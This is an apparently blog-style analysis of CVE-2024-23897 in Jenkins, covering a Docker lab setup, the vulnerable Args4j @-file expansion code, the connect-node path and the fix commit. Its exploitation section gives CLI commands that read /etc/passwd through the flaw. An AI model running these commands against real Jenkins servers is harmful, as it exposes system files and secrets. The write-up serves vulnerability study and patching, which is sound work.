CVE-2024-23897: Jenkins CI Authenticated Arbitrary File Read Through CLI Leads to RCE

Analysis of CVE-2024-23897, a critical vulnerability in Jenkins CI that allows authenticated attackers to read arbitrary files through the CLI, potentially leading to remote code execution.

Jenkins is a self-contained open source continuous integration/continuous delivery and deployment (CI/CD) automation software DevOps tool written in the Java programming language. It is used to implement CI/CD workflows, called pipelines.

Jenkins has a built-in command line interface (CLI) to access Jenkins from a script or shell environment. Jenkins uses the Args4j library to parse command arguments and options on the Jenkins controller when processing CLI commands. This command parser has a feature that replaces an @ character followed by a file path in an argument with the file’s contents (expandAtFiles). This feature is enabled by default and Jenkins 2.441 and earlier, LTS 2.426.2 and earlier does not disable it.

This allows attackers to read arbitrary files on the Jenkins controller file system using the default character encoding of the Jenkins controller process.

  • Attackers with Overall/Read permission can read entire files.
  • Attackers without Overall/Read permission can read the first few lines of files. The number of lines that can be read depends on available CLI commands. As of publication of this advisory, the Jenkins security team has found ways to read the first three lines of files in recent releases of Jenkins without having any plugins installed, and has not identified any plugins that would increase this line count.

Environment Setup

  • Fetch docker image
root@kali:~$ docker pull jenkins/jenkins:2.440-jdk17
  • Run container
root@kali:~$ docker run -d -p 9091:8080 -p 50000:50000 --name murat2-jenkins jenkins/jenkins:2.440-jdk17
  • Read initial admin password for setup
root@kali:~$ docker exec -t murat2-jenkins cat /var/jenkins_home/secrets/initialAdminPassword

Jenkins Setup

Vulnerable Code

It should be noted that this vulnerability is discovered by SonarSource’s Vulnerability Research Team and this section is copied from SonarSource’s technical blogpost.

The vulnerable code can be found in the Args4j library:

private String[] expandAtFiles(String args[]) throws CmdLineException {
  List < String > result = new ArrayList < String > ();
  for (String arg: args) {
    if (arg.startsWith("@")) {
      File file = new File(arg.substring(1));
      if (!file.exists()) throw new CmdLineException(this, Messages.NO_SUCH_FILE, file.getPath());
      try {
        result.addAll(readAllLines(file));
      } catch(IOException ex) {
        throw new CmdLineException(this, "Failed to parse " + file, ex);
      }
    } else {
      result.add(arg);
    }
  }
  return result.toArray(new String[result.size()]);
}

expandAtFiles method in CmdLineParser.java class is basically replacing an @ character followed by a file path in an argument with the file’s content: checks if the argument starts with the @ character, and if so, it reads the file in the path after the @ and expands a new argument for each line. This means that if an attacker can control an argument, they can expand it to an arbitrary number of ones from an arbitrary file on the Jenkins instance.

One way an attacker could leverage this is to find a command that takes an arbitrary number of arguments and displays these back to the user. Since the arguments are populated from the contents of the file, an attacker could leak the file contents this way. For this purpose connect-node command in hudson/cli to be a good candidate: it receives a list of strings as an argument and tries to connect to each one. If it fails, an error message is generated with the name of the failed connected node.

public class ConnectNodeCommand extends CLICommand {
  @Argument(
            metaVar = "NAME",
            usage = "Agent name, or empty string for built-in node; comma-separated list is supported",
            required = true,
            multiValued = true
  )
  private List < String > nodes;
  //...

  @Override
  protected int run() throws Exception {
    //...
    for (String node_s: hs) {
      try {
        Computer computer = Computer.resolveForCLI(node_s);
        computer.cliConnect(force);
      } catch(Exception e) {
        //...
        final String errorMsg = node_s + ": " + e.getMessage();
        stderr.println(errorMsg);
        //...
      }
    }

    //...
  }
}

This connect-node command would usually require the CONNECT permission, which is verified in the cliConnect function. But since the exception is thrown before the permission check in the resolveForCLI function, the command actually doesn’t require any authorizations apart from the initial read-only verification.

Exploitation Steps

Normally, the @ in Jenkins-cli is used to specify a file containing the bearer token or username:password from a file.

Jenkins CLI Usage

Using an authenticated command with Jenkins-cli will produce the following output:

root@kali:~$ java -jar jenkins-cli.jar -s http://127.0.0.1:9091 -http connect-node "@/etc/passwd"

Authenticated Command Output

Using the feature @ character to specify the credentials.txt file in -auth switch produces the following:

root@kali:~$ java -jar jenkins-cli.jar -s http://127.0.0.1:9091 -auth @credentials.txt -http connect-node "@/etc/passwd"

Credentials File Usage

Patch Analysis

The Jenkins security team addressed CVE-2024-23897 by introducing a secure configuration that disables the expandAtFiles feature. The patch includes adding an origin verification to the WebSocket endpoint for CVE-2024-23898, preventing unauthorized access.

Relevant commit: jenkinsci/jenkins@554f037

+ */
+ @LegacyInstancesAreScopedToHudson
+ public abstract class CLICommand implements ExtensionPoint, Cloneable {
+
+    /**
+     * Boolean values to either allow or disallow parsing of @-prefixes.
+     * If a command line value starts with @, it is interpreted as being a file, loaded,
+     * and interpreted as if the file content would have been passed to the command line
+     */
+    @SuppressFBWarnings(value = "MS_SHOULD_BE_FINAL", justification = "Accessible via System Groovy Scripts")
+    @Restricted(NoExternalUse.class)
+    public static boolean ALLOW_AT_SYNTAX = SystemProperties.getBoolean(CLICommand.class.getName() + "allowAtSyntax");
+
    /**
     * Connected to stdout and stderr of the CLI agent that initiated the session.
     * IOW, if you write to these streams, the person who launched the CLI command
@@ -307,7 +320,8 @@ private void logAndPrintError(Throwable e, String errorMessage, String logMessag
     * @since 1.538
     */
    protected CmdLineParser getCmdLineParser() {
-        return new CmdLineParser(this);
+        ParserProperties properties = ParserProperties.defaults().withAtSyntax(ALLOW_AT_SYNTAX);
+        return new CmdLineParser(this, properties);
    }

Patch Analysis

  1. ALLOW_AT_SYNTAX: This variable is a boolean indicating whether the ’@’ syntax is allowed. It is read from system properties.
  2. ParserProperties: This class provides properties to configure the CmdLineParser.
  3. withAtSyntax(ALLOW_AT_SYNTAX): It sets the ‘allowAtSyntax’ property in the ParserProperties based on the value of ALLOW_AT_SYNTAX.
  4. new CmdLineParser(this, properties): This creates a new CmdLineParser instance, passing the current object (this) and the configured ParserProperties.

References

More information about CVE-2024-23897 vulnerability and credits are as follow: